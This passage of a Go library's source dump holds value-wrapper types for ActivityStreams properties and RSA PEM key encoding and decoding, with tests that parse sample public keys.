15 | // Get returns a value of the given property
16 | func (value Bool) Get(_ string) Value {
17 | return Nil{}
18 | }
19 |
20 | // Set returns the value with the given property set
21 | func (value Bool) Set(property string, propertyValue any) Value {
22 | return Map{
23 | property: propertyValue,
24 | }
25 | }
26 |
27 | // Head returns the first value in a slice
28 | func (value Bool) Head() Value {
29 | return value
30 | }
31 |
32 | // Tail returns all values in a slice except the first
33 | func (value Bool) Tail() Value {
34 | return Nil{}
35 | }
36 |
37 | // Len returns the number of elements in the value
38 | func (value Bool) Len() int {
39 | return 1
40 | }
41 |
42 | func (value Bool) IsNil() bool {
43 | return value == false // nolint:gosimple // This form is just nicer, srry.
44 | }
45 |
46 | func (value Bool) String() string {
47 | return convert.String(value)
48 | }
49 |
50 | func (value Bool) Map() map[string]any {
51 | return make(map[string]any)
52 | }
53 |
54 | func (value Bool) Raw() any {
55 | return bool(value)
56 | }
57 |
58 | func (value Bool) Clone() Value {
59 | return value
60 | }
61 |
--------------------------------------------------------------------------------
/property/float.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import "github.com/benpate/rosetta/convert"
4 |
5 | type Float float64
6 |
7 | func (value Float) IsFloat() bool {
8 | return true
9 | }
10 |
11 | func (value Float) Float() float64 {
12 | return float64(value)
13 | }
14 |
15 | // Get returns a value of the given property
16 | func (value Float) Get(_ string) Value {
17 | return Nil{}
18 | }
19 |
20 | // Set returns the value with the given property set
21 | func (value Float) Set(propertyName string, propertyValue any) Value {
22 | return Map{
23 | propertyName: propertyValue,
24 | }
25 | }
26 |
27 | // Head returns the first value in a slice
28 | func (value Float) Head() Value {
29 | return value
30 | }
31 |
32 | // Tail returns all values in a slice except the first
33 | func (value Float) Tail() Value {
34 | return Nil{}
35 | }
36 |
37 | // Len returns the number of elements in the value
38 | func (value Float) Len() int {
39 | return 1
40 | }
41 |
42 | func (value Float) IsNil() bool {
43 | return value == 0
44 | }
45 |
46 | func (value Float) String() string {
47 | return convert.String(value)
48 | }
49 |
50 | func (value Float) Map() map[string]any {
51 | return make(map[string]any)
52 | }
53 |
54 | func (value Float) Raw() any {
55 | return float64(value)
56 | }
57 |
58 | func (value Float) Clone() Value {
59 | return value
60 | }
61 |
--------------------------------------------------------------------------------
/property/int.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import "github.com/benpate/rosetta/convert"
4 |
5 | type Int int
6 |
7 | func (value Int) IsInt() bool {
8 | return true
9 | }
10 |
11 | func (value Int) IsInt64() bool {
12 | return true
13 | }
14 |
15 | func (value Int) Int() int {
16 | return int(value)
17 | }
18 |
19 | func (value Int) Int64() int64 {
20 | return int64(value)
21 | }
22 |
23 | // Get returns a value of the given property
24 | func (value Int) Get(_ string) Value {
25 | return Nil{}
26 | }
27 |
28 | // Set returns the value with the given property set
29 | func (value Int) Set(propertyName string, propertyValue any) Value {
30 | return Map{
31 | propertyName: propertyValue,
32 | }
33 | }
34 |
35 | // Head returns the first value in a slice
36 | func (value Int) Head() Value {
37 | return value
38 | }
39 |
40 | // Tail returns all values in a slice except the first
41 | func (value Int) Tail() Value {
42 | return Nil{}
43 | }
44 |
45 | // Len returns the number of elements in the value
46 | func (value Int) Len() int {
47 | return 1
48 | }
49 |
50 | func (value Int) IsNil() bool {
51 | return value == 0
52 | }
53 |
54 | func (value Int) String() string {
55 | return convert.String(value)
56 | }
57 |
58 | func (value Int) Map() map[string]any {
59 | return make(map[string]any)
60 | }
61 |
62 | func (value Int) Raw() any {
63 | return int(value)
64 | }
65 |
66 | func (value Int) Clone() Value {
67 | return value
68 | }
69 |
--------------------------------------------------------------------------------
/property/int64.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import "github.com/benpate/rosetta/convert"
4 |
5 | type Int64 int64
6 |
7 | func (value Int64) IsInt() bool {
8 | return true
9 | }
10 |
11 | func (value Int64) IsInt64() bool {
12 | return true
13 | }
14 |
15 | func (value Int64) Int() int {
16 | return int(value)
17 | }
18 |
19 | func (value Int64) Int64() int64 {
20 | return int64(value)
21 | }
22 |
23 | // Get returns a value of the given property
24 | func (value Int64) Get(_ string) Value {
25 | return Nil{}
26 | }
27 |
28 | // Set returns the value with the given property set
29 | func (value Int64) Set(propertyName string, propertyValue any) Value {
30 | return Map{
31 | propertyName: propertyValue,
32 | }
33 | }
34 |
35 | // Head returns the first value in a slice
36 | func (value Int64) Head() Value {
37 | return value
38 | }
39 |
40 | // Tail returns all values in a slice except the first
41 | func (value Int64) Tail() Value {
42 | return Nil{}
43 | }
44 |
45 | // Len returns the number of elements in the value
46 | func (value Int64) Len() int {
47 | return 1
48 | }
49 |
50 | func (value Int64) IsNil() bool {
51 | return value == 0
52 | }
53 |
54 | func (value Int64) String() string {
55 | return convert.String(value)
56 | }
57 |
58 | func (value Int64) Map() map[string]any {
59 | return make(map[string]any)
60 | }
61 |
62 | func (value Int64) Raw() any {
63 | return int64(value)
64 | }
65 |
66 | func (value Int64) Clone() Value {
67 | return value
68 | }
69 |
--------------------------------------------------------------------------------
/property/interfaces.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import "time"
4 |
5 | /******************************************
6 | * Introspection Interfaces
7 | ******************************************/
8 |
9 | type IsBooler interface {
10 | IsBool() bool
11 | Bool() bool
12 | }
13 |
14 | type IsInter interface {
15 | IsInt() bool
16 | Int() int
17 | }
18 |
19 | type IsInt64er interface {
20 | IsInt64() bool
21 | Int64() int64
22 | }
23 |
24 | type IsFloater interface {
25 | IsFloat() bool
26 | Float() float64
27 | }
28 |
29 | type IsMapper interface {
30 | IsMap() bool
31 | Map() map[string]any
32 | MapKeys() []string
33 | }
34 |
35 | type IsSlicer interface {
36 | IsSlice() bool
37 | Slice() []any
38 | }
39 |
40 | type IsStringer interface {
41 | IsString() bool
42 | String() string
43 | }
44 |
45 | type IsTimeer interface {
46 | IsTime() bool
47 | Time() time.Time
48 | }
49 |
50 | /******************************************
51 | * Getter Interfaces
52 | ******************************************/
53 |
54 | // BoolGetter is an optional interface that should be implemented
55 | // by any property.Value that contains a bool
56 | type BoolGetter interface {
57 | // Bool returns a value typed as a bool
58 | Bool() bool
59 | }
60 |
61 | // IntGetter is an optional interface that should be implemented
62 | // by any property.Value that contains an int
63 | type IntGetter interface {
64 | // Int returns the value typed as an int
65 | Int() int
66 | }
67 |
68 | // Int64Getter is an optional interface that should be implemented
69 | // by any property.Value that contains an int64
70 | type Int64Getter interface {
71 | // Int64 returns the value typed as an int64
72 | Int64() int64
73 | }
74 |
75 | // FloatGetter is an optional interface that should be implemented
76 | // by any property.Value that contains a float64
77 | type FloatGetter interface {
78 | // Float returns the value typed as a float64
79 | Float() float64
80 | }
81 |
82 | // MapGetter is an optional interface that should be implemented
83 | // by any property.Value that contains a map[string]any
84 | type MapGetter interface {
85 | // Map returns the value typed as a map[string]any
86 | Map() map[string]any
87 | }
88 |
89 | // SliceGetter is an optional interface that should be implemented
90 | // by any property.Value that contains a []any
91 | type SliceGetter interface {
92 | // Slice returns the value typed as a []any
93 | Slice() []any
94 | }
95 |
96 | // StringGetter is an optional interface that should be implemented
97 | // by any property.Value that contains a string
98 | type StringGetter interface {
99 | // String returns the value typed as a string
100 | String() string
101 | }
102 |
103 | // TimeGetter is an optional interface that should be implemented
104 | // by any property.Value that contains a time.Time
105 | type TimeGetter interface {
106 | // Time returns the value typed as a time.Time
107 | Time() time.Time
108 | }
109 |
--------------------------------------------------------------------------------
/property/map.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import (
4 | "github.com/utterproofre/hannibal/vocab"
5 | "github.com/benpate/rosetta/convert"
6 | )
7 |
8 | type Map map[string]any
9 |
10 | // Get returns a value of the given property
11 | func (value Map) Get(name string) Value {
12 |
13 | if property, ok := value[name]; ok {
14 | return NewValue(property)
15 | }
16 |
17 | return Nil{}
18 | }
19 |
20 | // Set returns the value with the given property set
21 | func (value Map) Set(name string, newValue any) Value {
22 | value[name] = newValue
23 | return value
24 | }
25 |
26 | // Head returns the first value in a slice
27 | func (value Map) Head() Value {
28 | return value
29 | }
30 |
31 | // Tail returns all values in a slice except the first
32 | func (value Map) Tail() Value {
33 | return Nil{}
34 | }
35 |
36 | // Len returns the number of elements in the value
37 | func (value Map) Len() int {
38 | return 1
39 | }
40 |
41 | func (value Map) IsNil() bool {
42 | return len(value) == 0
43 | }
44 |
45 | func (value Map) String() string {
46 | return convert.String(value[vocab.PropertyID])
47 | }
48 |
49 | func (value Map) Raw() any {
50 | return map[string]any(value)
51 | }
52 |
53 | func (value Map) Clone() Value {
54 | result := make(map[string]any)
55 |
56 | for key, value := range value {
57 | result[key] = value
58 | }
59 |
60 | return Map(value)
61 | }
62 |
63 | /******************************************
64 | * IsMapper Interface
65 | ******************************************/
66 |
67 | func (value Map) IsMap() bool {
68 | return true
69 | }
70 |
71 | func (value Map) Map() map[string]any {
72 | return value
73 | }
74 |
75 | func (value Map) MapKeys() []string {
76 | result := make([]string, 0, len(value))
77 | for key := range value {
78 | result = append(result, key)
79 | }
80 | return result
81 | }
82 |
--------------------------------------------------------------------------------
/property/nil.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | type Nil struct{}
4 |
5 | // Get returns a value of the given property
6 | func (value Nil) Get(string) Value {
7 | return Nil{}
8 | }
9 |
10 | // Set returns the value with the given property set
11 | func (value Nil) Set(string, any) Value {
12 | return Nil{}
13 | }
14 |
15 | // Head returns the first value in a slice
16 | func (value Nil) Head() Value {
17 | return Nil{}
18 | }
19 |
20 | // Tail returns all values in a slice except the first
21 | func (value Nil) Tail() Value {
22 | return Nil{}
23 | }
24 |
25 | // Len returns the number of elements in the value
26 | func (value Nil) Len() int {
27 | return 0
28 | }
29 |
30 | func (value Nil) IsNil() bool {
31 | return true
32 | }
33 |
34 | func (value Nil) String() string {
35 | return ""
36 | }
37 |
38 | func (value Nil) Map() map[string]any {
39 | return make(map[string]any)
40 | }
41 |
42 | func (value Nil) Raw() any {
43 | return nil
44 | }
45 |
46 | func (value Nil) Clone() Value {
47 | return Nil{}
48 | }
49 |
--------------------------------------------------------------------------------
/property/slice.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | type Slice []any
4 |
5 | func (value Slice) IsSlice() bool {
6 | return true
7 | }
8 |
9 | func (value Slice) Slice() []any {
10 | return []any(value)
11 | }
12 |
13 | // Get returns a value of the given property
14 | func (value Slice) Get(name string) Value {
15 | return value.Head().Get(name)
16 | }
17 |
18 | // Set returns the value with the given property set
19 | func (value Slice) Set(name string, newValue any) Value {
20 |
21 | if len(value) == 0 {
22 | first := Nil{}.Set(name, newValue)
23 | return Slice([]any{first})
24 | }
25 |
26 | first := value.Head().Set(name, newValue)
27 | return Slice(append([]any{first.Raw()}, value[1:]...))
28 | }
29 |
30 | // Head returns the first value in a slice
31 | func (value Slice) Head() Value {
32 | if len(value) == 0 {
33 | return Nil{}
34 | }
35 |
36 | return NewValue(value[0])
37 | }
38 |
39 | // Tail returns all values in a slice except the first
40 | func (value Slice) Tail() Value {
41 | if len(value) == 0 {
42 | return Nil{}
43 | }
44 |
45 | return Slice(value[1:])
46 | }
47 |
48 | // Len returns the number of elements in the value
49 | func (value Slice) Len() int {
50 | return len(value)
51 | }
52 |
53 | // IsNil returns true if the value is nil
54 | func (value Slice) IsNil() bool {
55 | return len(value) == 0
56 | }
57 |
58 | // String returns a string representation of the value
59 | func (value Slice) String() string {
60 | return "" // value.Head().String()
61 | }
62 |
63 | // Map returns the value as a map
64 | func (value Slice) Map() map[string]any {
65 | return value.Head().Map()
66 | }
67 |
68 | // Raw returns the original wrapped value
69 | func (value Slice) Raw() any {
70 | return []any(value)
71 | }
72 |
73 | // Clone returns a deep copy of the value
74 | func (value Slice) Clone() Value {
75 | result := make([]any, len(value))
76 | copy(result, value)
77 |
78 | return Slice(value)
79 | }
80 |
--------------------------------------------------------------------------------
/property/string.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import "github.com/utterproofre/hannibal/vocab"
4 |
5 | type String string
6 |
7 | func (value String) IsString() bool {
8 | return true
9 | }
10 |
11 | // Get returns a value of the given property
12 | func (value String) Get(propertyName string) Value {
13 |
14 | if propertyName == vocab.PropertyID {
15 | return value
16 | }
17 |
18 | return Nil{}
19 | }
20 |
21 | // Set returns the value with the given property set
22 | func (value String) Set(propertyName string, propertyValue any) Value {
23 | result := Map{
24 | vocab.PropertyID: value,
25 | }
26 |
27 | return result.Set(propertyName, propertyValue)
28 | }
29 |
30 | // Head returns the first value in a slice
31 | func (value String) Head() Value {
32 | return value
33 | }
34 |
35 | // Tail returns all values in a slice except the first
36 | func (value String) Tail() Value {
37 | return Nil{}
38 | }
39 |
40 | // Len returns the number of elements in the value
41 | func (value String) Len() int {
42 | return 1
43 | }
44 |
45 | // IsNil returns TRUE if the value is nil
46 | func (value String) IsNil() bool {
47 | return value == ""
48 | }
49 |
50 | // String returns a string representation of the value
51 | func (value String) String() string {
52 | return string(value)
53 | }
54 |
55 | // Map returns the value as a map
56 | func (value String) Map() map[string]any {
57 | return map[string]any{
58 | vocab.PropertyID: value,
59 | }
60 | }
61 |
62 | // Raw returns the raw, original value
63 | func (value String) Raw() any {
64 | return string(value)
65 | }
66 |
67 | // Clone returns a deep copy of the value
68 | func (value String) Clone() Value {
69 | return value
70 | }
71 |
--------------------------------------------------------------------------------
/property/string_test.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import (
4 | "testing"
5 |
6 | "github.com/stretchr/testify/require"
7 | )
8 |
9 | func TestString(t *testing.T) {
10 |
11 | value := NewValue("Hello, World!")
12 |
13 | require.Equal(t, "Hello, World!", value.Raw())
14 | require.Equal(t, "Hello, World!", value.Head().Raw())
15 | require.Nil(t, value.Tail().Raw())
16 |
17 | require.True(t, IsString(value))
18 | }
19 |
--------------------------------------------------------------------------------
/property/time.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/utterproofre/hannibal"
7 | )
8 |
9 | type Time time.Time
10 |
11 | func (value Time) IsTime() bool {
12 | return true
13 | }
14 |
15 | func (value Time) Time() time.Time {
16 | return time.Time(value)
17 | }
18 |
19 | // Get returns a value of the given property
20 | func (value Time) Get(_ string) Value {
21 | return Nil{}
22 | }
23 |
24 | // Set returns the value with the given property set
25 | func (value Time) Set(propertyName string, propertyValue any) Value {
26 | return Map{
27 | propertyName: propertyValue,
28 | }
29 | }
30 |
31 | // Head returns the first value in a slice
32 | func (value Time) Head() Value {
33 | return value
34 | }
35 |
36 | // Tail returns all values in a slice except the first
37 | func (value Time) Tail() Value {
38 | return Nil{}
39 | }
40 |
41 | // Len returns the number of elements in the value
42 | func (value Time) Len() int {
43 | return 1
44 | }
45 |
46 | // IsNil returns TRUE if the value is nil
47 | func (value Time) IsNil() bool {
48 | return time.Time(value).IsZero()
49 | }
50 |
51 | // String returs the string representation of the value
52 | func (value Time) String() string {
53 | return hannibal.TimeFormat(time.Time(value))
54 | }
55 |
56 | // Map returns the value as a map[string]any
57 | func (value Time) Map() map[string]any {
58 | return make(map[string]any)
59 | }
60 |
61 | // Raw returns the raw, original value
62 | func (value Time) Raw() any {
63 | return time.Time(value)
64 | }
65 |
66 | // Clone returns a deep copy of the value
67 | func (value Time) Clone() Value {
68 | return value
69 | }
70 |
--------------------------------------------------------------------------------
/property/value.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/benpate/rosetta/convert"
7 | "github.com/benpate/rosetta/mapof"
8 | "github.com/benpate/rosetta/sliceof"
9 | )
10 |
11 | // Value is a wrapper for any kind of value that might be used in a streams.Document
12 | type Value interface {
13 |
14 | // Get returns a value of the given property
15 | Get(string) Value
16 |
17 | // Set returns the value with the given property set
18 | Set(string, any) Value
19 |
20 | // Head returns the first value in a slices, or the value itself if it is not a slice
21 | Head() Value
22 |
23 | // Tail returns all values in a slice except the first
24 | Tail() Value
25 |
26 | // Len returns the number of elements in the value
27 | Len() int
28 |
29 | // IsNil returns TRUE if the value is empty
30 | IsNil() bool
31 |
32 | // Map returns the map representation of this value
33 | Map() map[string]any
34 |
35 | // Raw returns the raw, unwrapped value being stored
36 | Raw() any
37 |
38 | // Clone returns a deep copy of a value
39 | Clone() Value
40 | }
41 |
42 | func NewValue(value any) Value {
43 |
44 | switch typed := value.(type) {
45 |
46 | // We already have a value, so return it
47 | case Value:
48 | return typed
49 |
50 | // Raw values
51 | case bool:
52 | return Bool(typed)
53 |
54 | case float32:
55 | return Float(typed)
56 |
57 | case float64:
58 | return Float(typed)
59 |
60 | case int:
61 | return Int(typed)
62 |
63 | case int64:
64 | return Int64(typed)
65 |
66 | case map[string]any:
67 | return Map(typed)
68 |
69 | case mapof.Any:
70 | return Map(typed)
71 |
72 | case []any:
73 | return Slice(typed)
74 |
75 | case sliceof.Any:
76 | return Slice(typed)
77 |
78 | case string:
79 | return String(typed)
80 |
81 | case time.Time:
82 | return Time(typed)
83 |
84 | // Conversion Interfaces
85 | case BoolGetter:
86 | return Bool(typed.Bool())
87 |
88 | case FloatGetter:
89 | return Float(typed.Float())
90 |
91 | case IntGetter:
92 | return Int(typed.Int())
93 |
94 | case Int64Getter:
95 | return Int64(typed.Int64())
96 |
97 | case MapGetter:
98 | return Map(typed.Map())
99 |
100 | case SliceGetter:
101 | return Slice(typed.Slice())
102 |
103 | case StringGetter:
104 | return String(typed.String())
105 |
106 | case TimeGetter:
107 | return Time(typed.Time())
108 | }
109 |
110 | // More checks for wayward values (like primitive.A)
111 |
112 | if convert.IsMap(value) {
113 | return Map(convert.MapOfAny(value))
114 | }
115 |
116 | if convert.IsSlice(value) {
117 | return Slice(convert.SliceOfAny(value))
118 | }
119 |
120 | return Nil{}
121 | }
122 |
123 | /****************************************************
124 | * Introspection Functions
125 | ****************************************************/
126 |
127 | // IsBool returns TRUE if the value represents a bool
128 | func IsBool(value any) bool {
129 | if is, ok := value.(IsBooler); ok {
130 | return is.IsBool()
131 | }
132 | return false
133 | }
134 |
135 | // IsInt returns TRUE if the value represents a float
136 | func IsFloat(value any) bool {
137 | if is, ok := value.(IsFloater); ok {
138 | return is.IsFloat()
139 | }
140 | return false
141 | }
142 |
143 | // IsInt returns TRUE if the value represents an int
144 | func IsInt(value any) bool {
145 | if is, ok := value.(IsInter); ok {
146 | return is.IsInt()
147 | }
148 | return false
149 | }
150 |
151 | // IsInt64 returns TRUE if the value represents an int64
152 | func IsInt64(value any) bool {
153 | if is, ok := value.(IsInt64er); ok {
154 | return is.IsInt64()
155 | }
156 | return false
157 | }
158 |
159 | // IsMap returns TRUE if the value represents a map
160 | func IsMap(value any) bool {
161 | if is, ok := value.(IsMapper); ok {
162 | return is.IsMap()
163 | }
164 | return false
165 | }
166 |
167 | // IsSlice returns TRUE if the value represents a slice
168 | func IsSlice(value any) bool {
169 | if is, ok := value.(IsSlicer); ok {
170 | return is.IsSlice()
171 | }
172 | return false
173 | }
174 |
175 | // IsString returns TRUE if the value represents a string
176 | func IsString(value any) bool {
177 | if is, ok := value.(IsStringer); ok {
178 | return is.IsString()
179 | }
180 | return false
181 | }
182 |
183 | // IsTime returns TRUE if the value represents a time.Time
184 | func IsTime(value any) bool {
185 | if is, ok := value.(IsTimeer); ok {
186 | return is.IsTime()
187 | }
188 | return false
189 | }
190 |
--------------------------------------------------------------------------------
/sigs/certificates.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "crypto"
5 | "crypto/rsa"
6 | "crypto/x509"
7 | "encoding/pem"
8 |
9 | "github.com/benpate/derp"
10 | )
11 |
12 | // EncodePrivatePEM converts a private key into a PEM string
13 | func EncodePrivatePEM(privateKey *rsa.PrivateKey) string {
14 |
15 | // Get ASN.1 DER format
16 | privDER := x509.MarshalPKCS1PrivateKey(privateKey)
17 |
18 | // pem.Block
19 | privBlock := pem.Block{
20 | Type: "RSA PRIVATE KEY",
21 | Headers: nil,
22 | Bytes: privDER,
23 | }
24 |
25 | // Private key in PEM format
26 | privatePEM := pem.EncodeToMemory(&privBlock)
27 |
28 | return string(privatePEM)
29 | }
30 |
31 | // EncodePublicPEM converts a public key into a PEM string
32 | func EncodePublicPEM(privateKey *rsa.PrivateKey) string {
33 |
34 | // Get ASN.1 DER format
35 | publicDER := x509.MarshalPKCS1PublicKey(&privateKey.PublicKey)
36 |
37 | // pem.Block
38 | publicBlock := pem.Block{
39 | Type: "RSA PUBLIC KEY",
40 | Headers: nil,
41 | Bytes: publicDER,
42 | }
43 |
44 | // Private key in PEM format
45 | publicPEM := pem.EncodeToMemory(&publicBlock)
46 |
47 | return string(publicPEM)
48 | }
49 |
50 | // DecodePrivatePEM converts a PEM string into a private key
51 | func DecodePrivatePEM(pemString string) (crypto.PrivateKey, error) {
52 |
53 | const location = "hannibal.sigs.DecodePrivatePEM"
54 |
55 | block, _ := pem.Decode([]byte(pemString))
56 |
57 | if block == nil {
58 | return nil, derp.InternalError(location, "Block is nil", pemString)
59 | }
60 |
61 | switch block.Type {
62 |
63 | case "RSA PRIVATE KEY":
64 | result, err := x509.ParsePKCS1PrivateKey(block.Bytes)
65 |
66 | if err != nil {
67 | return nil, derp.Wrap(err, location, "Error parsing PKCS1 private key")
68 | }
69 |
70 | return result, nil
71 |
72 | case "PRIVATE KEY":
73 | result, err := x509.ParsePKCS8PrivateKey(block.Bytes)
74 |
75 | if err != nil {
76 | return nil, derp.Wrap(err, location, "Error parsing PKCS8 private key")
77 | }
78 |
79 | return result, nil
80 |
81 | default:
82 | return nil, derp.InternalError(location, "Invalid block type", block.Type)
83 | }
84 | }
85 |
86 | // DecodePublicPEM converts a PEM string into a public key
87 | func DecodePublicPEM(pemString string) (crypto.PublicKey, error) {
88 |
89 | const location = "hannibal.sigs.DecodePublicPEM"
90 | block, _ := pem.Decode([]byte(pemString))
91 |
92 | if block == nil {
93 | return nil, derp.InternalError(location, "Block is nil", pemString)
94 | }
95 |
96 | switch block.Type {
97 |
98 | case "RSA PUBLIC KEY":
99 | return x509.ParsePKCS1PublicKey(block.Bytes)
100 |
101 | case "PUBLIC KEY":
102 | return x509.ParsePKIXPublicKey(block.Bytes)
103 |
104 | default:
105 | return nil, derp.InternalError(location, "Invalid block type", block.Type)
106 | }
107 |
108 | }
109 |
--------------------------------------------------------------------------------
/sigs/certificates_test.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | import (
4 | "crypto/rand"
5 | "crypto/rsa"
6 | "testing"
7 |
8 | "github.com/stretchr/testify/require"
9 | )
10 |
11 | func TestEncodeDecodePEM(t *testing.T) {
12 |
13 | key, err := rsa.GenerateKey(rand.Reader, 2048)
14 |
15 | require.Nil(t, err)
16 |
17 | publicPEM := EncodePublicPEM(key)
18 | parsedKey, err := DecodePublicPEM(publicPEM)
19 |
20 | require.Nil(t, err)
21 | require.Equal(t, key.PublicKey.N, parsedKey.(*rsa.PublicKey).N)
22 | require.Equal(t, key.PublicKey.E, parsedKey.(*rsa.PublicKey).E)
23 | }
24 |
25 | // This is a key generated by Emissary
26 | func TestParseRSAKey(t *testing.T) {
27 |
28 | // hs2019 certs
29 | cert := "-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQEAlifIuRIJII6Z1FblKF0XD17nTCYP+AdX+9KXJ2/WOfxs2/CTVFGa\nq0ovIdoDK2jydatRciYmwYYS+xrixzvPdUqN3Kcpev1MwUqQuThVy3QiJAI0sJ0L\nJzruzZKXt8q3YbuWcMiNwfOv0/+VpsZHa7yltxFKHiULIBz/dF/0t3ulwGeUpVGA\nQrH0uWfmPs8hPkaIs8IIgEFGyUjPHejK+jZaqUSxbBlpzvnaEgKEJVXYawHCUipF\nQp5N1zdXi+FNNuERqixWHdmyguNWTLdwmH9bq1nFe6pLDG4eqXnEGFDXXZ90SQhe\nsfEDVzm0Yzcv7wkJFm80aPDsa7Y+IARddwIDAQAB\n-----END RSA PUBLIC KEY-----\n"
30 | key, err := DecodePublicPEM(cert)
31 |
32 | require.Nil(t, err)
33 | require.NotNil(t, key)
34 | }
35 |
36 | // This is a public key from a Mastodon instance
37 | func TestParseRSAKey2(t *testing.T) {
38 |
39 | cert := "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApIC6kVMMkk0cc4GCAQ+/\n5XAKz8KhSbSpsWFC1jVRH+AXDAH3O6Pw+r5xNUu+OEGUPnLXycxuPZapxTQPGw/w\nPUMk2QvEhi9WEECrdPG8y2dEZMcNvGhtOtyhIWHGBLfANcpeueW3Z8WBR2Eak5+Y\nkuy+oiS3CZ13JAxbY6AfNc6L1V1G1hSppoynBhxdk1V9XbSLGSPEcL0ZTKS2Jo9Y\nB/ipPTWWpD1jHvELTNEsgfcAgAmHsEIH7j9RhMy/YtsOczlymf+fqvcy5NJHzAaV\nFRomn/Eci/IYKGTc6/g3AzVQZ0aILEArgwiAUoumiWqco+ASVsjDY5by3Yxx3vsA\n+QIDAQAB\n-----END PUBLIC KEY-----\n"
40 |
41 | key, err := DecodePublicPEM(cert)
42 |
43 | require.Nil(t, err)
44 | require.NotNil(t, key)
45 | }
46 |
47 | func TestParseRSAKey3(t *testing.T) {
48 |
49 | cert := "-----BEGIN RSA PUBLIC KEY-----\nMEgCQQDbLVt+d4EGWdMOgG6lS2xvhP6kbb0OgdkG26jmqWfUCqzYhyuhoL3JgijV\nN+Y0Jbb4iEU2aQXMNHM+Rq1bfkLTAgMBAAE=\n-----END RSA PUBLIC KEY-----\n"
50 |
51 | key, err := DecodePublicPEM(cert)
52 |
53 | require.Nil(t, err)
54 | require.NotNil(t, key)
55 | }
56 |
57 | // This is a key from an example I found on the Internet
58 | func TestDecode_PKIXKey(t *testing.T) {
59 | cert := `-----BEGIN PUBLIC KEY-----
60 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlRuRnThUjU8/prwYxbty
61 | WPT9pURI3lbsKMiB6Fn/VHOKE13p4D8xgOCADpdRagdT6n4etr9atzDKUSvpMtR3
62 | CP5noNc97WiNCggBjVWhs7szEe8ugyqF23XwpHQ6uV1LKH50m92MbOWfCtjU9p/x
63 | qhNpQQ1AZhqNy5Gevap5k8XzRmjSldNAFZMY7Yv3Gi+nyCwGwpVtBUwhuLzgNFK/
64 | yDtw2WcWmUU7NuC8Q6MWvPebxVtCfVp/iQU6q60yyt6aGOBkhAX0LpKAEhKidixY
65 | nP9PNVBvxgu3XZ4P36gZV6+ummKdBVnc3NqwBLu5+CcdRdusmHPHd5pHf4/38Z3/
66 | 6qU2a/fPvWzceVTEgZ47QjFMTCTmCwNt29cvi7zZeQzjtwQgn4ipN9NibRH/Ax/q
67 | TbIzHfrJ1xa2RteWSdFjwtxi9C20HUkjXSeI4YlzQMH0fPX6KCE7aVePTOnB69I/
68 | a9/q96DiXZajwlpq3wFctrs1oXqBp5DVrCIj8hU2wNgB7LtQ1mCtsYz//heai0K9
69 | PhE4X6hiE0YmeAZjR0uHl8M/5aW9xCoJ72+12kKpWAa0SFRWLy6FejNYCYpkupVJ
70 | yecLk/4L1W0l6jQQZnWErXZYe0PNFcmwGXy1Rep83kfBRNKRy5tvocalLlwXLdUk
71 | AIU+2GKjyT3iMuzZxxFxPFMCAwEAAQ==
72 | -----END PUBLIC KEY-----`
73 |
74 | key, err := DecodePublicPEM(cert)
75 | require.Nil(t, err)
76 | require.NotNil(t, key)
77 | }
78 |
79 | func TestDecode_MastodonPEM(t *testing.T) {
80 | pem := "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApIC6kVMMkk0cc4GCAQ+/\n5XAKz8KhSbSpsWFC1jVRH+AXDAH3O6Pw+r5xNUu+OEGUPnLXycxuPZapxTQPGw/w\nPUMk2QvEhi9WEECrdPG8y2dEZMcNvGhtOtyhIWHGBLfANcpeueW3Z8WBR2Eak5+Y\nkuy+oiS3CZ13JAxbY6AfNc6L1V1G1hSppoynBhxdk1V9XbSLGSPEcL0ZTKS2Jo9Y\nB/ipPTWWpD1jHvELTNEsgfcAgAmHsEIH7j9RhMy/YtsOczlymf+fqvcy5NJHzAaV\nFRomn/Eci/IYKGTc6/g3AzVQZ0aILEArgwiAUoumiWqco+ASVsjDY5by3Yxx3vsA\n+QIDAQAB\n-----END PUBLIC KEY-----\n"
81 | key, err := DecodePublicPEM(pem)
82 | require.Nil(t, err)
83 | require.NotNil(t, key)
84 | }
85 |
86 | func TestDecode_EmissaryPEM(t *testing.T) {
87 | pem := "-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQEAy1xxGJw8d+FouEHikqkmNo/X8/tPAMtZtzXXj03Uzr3Pxfpy4a0M\nhZwd3duWqhINPKWbDFgn9W2z6I+nIziBLD+YxHWqvahpsRqGkmu86CoOLKommbUL\njAIzyAMtPqBpOQJ8xJtq6Evz09avUku08iPrjP64wKNESyu5mDFvfpW31F6B7C0y\n+QC6vbhDanOnvV9QIxMDEbU87iY3nyyt8ZkSj5I2bHb80LQ0BEWN4WkOZB+wc0+f\nhQ9+pJobSSsyGJ21graTbkEKcr1LGo+Xe+rqPYT1IcDwpMTD7es1AiqbZwlIxNoh\n9wvJygZsqB4Iok8iatc+I1fGl6XiJcnxAQIDAQAB\n-----END RSA PUBLIC KEY-----\n"
88 | key, err := DecodePublicPEM(pem)
89 | require.Nil(t, err)
90 | require.NotNil(t, key)
91 | }
92 |
--------------------------------------------------------------------------------
/sigs/constants.go:
--------------------------------------------------------------------------------
1 | package sigs
2 |
3 | const FieldRequestTarget = "(request-target)"
4 |
5 | // FieldCreated is not supported at this time, and will generate an error.
6 | // https://datatracker.ietf.org/doc/html/draft-cavage-http-signatures#section-2.3
7 | const FieldCreated = "(created)"
8 |
